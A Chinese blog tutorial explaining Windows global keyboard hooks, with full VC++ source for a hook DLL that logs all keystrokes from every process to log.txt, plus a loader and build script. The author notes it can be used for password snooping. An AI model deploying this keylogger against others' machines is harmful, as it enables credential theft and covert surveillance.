sponsored links

VC实现的全局键盘钩子

键盘钩子的功能就是监视系统按键动作,这是一种很有用的技术,在一些工程项目中,有监视人员操作动作的需求,便于定位故障原因。也可以用于实现密码监视等黑客行为。
钩子分线程专用钩子和全局钩子,线程专用钩子只能勾到本线程的消息,而全局键盘钩子能勾到所有系统消息,功能非常强大,所以用得不好也很容易引起系统运行缓慢甚至崩溃等状况出现。
全局键盘钩子分一般钩子和低层钩子,一般钩子只能识别基础按键,低层钩子功能更强大能识别系统按键。
全局钩子一般通过调用dll来实现,实现的过程为:
1.安装进程安装全局钩子,将钩子dll实例加载进自己进程的地址空间,并在钩子链表中增加一级钩子,而且是放在最前面
2.所有进程在第一次接收到传递给本进程的消息之前,都会加载一份钩子dll到自己进程的地址空间,以后接收到的消息都由dll中的钩子处理函数预先处理,再决定要不要继续往下传递。
安装钩子的进程终止后,它注册的dll实例也会被销毁,其他进程加载的dll也会跟着销毁。但是,安装进程如果主动将dll释放掉,且进程不终止,那么其他进程的dll不会释放,其他进程的dll只有在安装进程终止或者自身进程终止时,才释放dll。

下面是dll程序和安装程序示例代码

//KBhook.cpp
#include<stdio.h>
#include<stdlib.h>
#include<windows.h>
#include<process.h>

#pragma comment(lib,"user32.lib")

HHOOK hhkHook=NULL;                      //定义钩子句柄
HINSTANCE hInstance=NULL;                  //程序实例
BOOL EnableKeyboardCapture();
BOOL DisableKeyboardCapture();

//下面的DLLMain是DLL出入口点,没次调用和卸载DLL会执行
bool APIENTRY DllMain( HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){
switch (ul_reason_for_call){
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
//MessageBox(0,"KBhook.dll被加载!","DllMain",MB_OK);
break;

case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
DisableKeyboardCapture();
//MessageBox(0,"卸载KBhook.dll!","DllMain",MB_OK);
break;
}
hInstance=(HINSTANCE)hModule;          //得到DLL实例
return true;
}

//这是键盘消息处理函数
LRESULT CALLBACK HookProc(int nCode,WPARAM wParam,LPARAM lParam){
char ch=0;
FILE *fl;
if( ((DWORD)lParam&0x40000000) && (HC_ACTION==nCode) ) //有键按下
{
if((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f)&&(wParam<=0x100) ){
fl=fopen("log.txt","a+");
if (wParam==VK_RETURN){
ch='\0';
}
else{
BYTE ks[256];
GetKeyboardState(ks);
WORD w;
UINT scan=0;
ToAscii(wParam,scan,ks,&w,0);
ch =char(w);
}
fwrite(&ch, sizeof(char), 1, fl);//把按键字符 记录到文件
}
fclose(fl);
}
return CallNextHookEx(hhkHook,nCode,wParam,lParam);//将消息继续传递下去,
}

//安装钩子
BOOL EnableKeyboardCapture(){
if(!(hhkHook=SetWindowsHookEx(WH_KEYBOARD,(HOOKPROC)HookProc,hInstance,0)))
return FALSE;
return TRUE;
}
//卸载钩子
BOOL DisableKeyboardCapture(){
return UnhookWindowsHookEx(hhkHook);
}
//KBhook.def
; KBhook.def : Declares the module parameters for the DLL.
LIBRARY      "KBhook"
DESCRIPTION 'KBhook Windows Dynamic Link Library'
EXPORTS
; Explicit exports can Go here
EnableKeyboardCapture @1
DisableKeyboardCapture @2
//installkbhook.cpp
#include<stdio.h>
#include<windows.h>
int main(){
HINSTANCE hDll;
typedef bool (*Fun1)();
hDll = LoadLibrary("KBhook.dll");
if(NULL == hDll) {
fprintf(stderr, "load dll 'KBhook.dll' fail.");
return -1;
}

Fun1 EnableKeyboardCapture = (Fun1)GetProcAddress(hDll, "EnableKeyboardCapture");
if(NULL == EnableKeyboardCapture) {
        fprintf(stderr, "call function 'EnableKeyboardCapture' fail.");
        FreeLibrary(hDll);
        return -1;
}

EnableKeyboardCapture();
Sleep(120000);//进程停留,不然钩子会自动注销
FreeLibrary(hDll);
return 0;
}
//build.bat
cl KBhook.cpp KBhook.def /MD /link /out:KBhook.dll /dll /Entry:DllMain /OPT:NOWIN98
cl installkbhook.cpp
del KBhook.exp KBhook.obj KBhook.lib installkbhook.obj
pause

目前这个程序在win7下做过测试,对于32位进程的按键消息可以进行截获,但是64位的进程的按键消息截获不稳定,事实上好像并不能截获。下一篇博客我会介绍在win7系统下能稳定运行的低层键盘钩子。

Tags: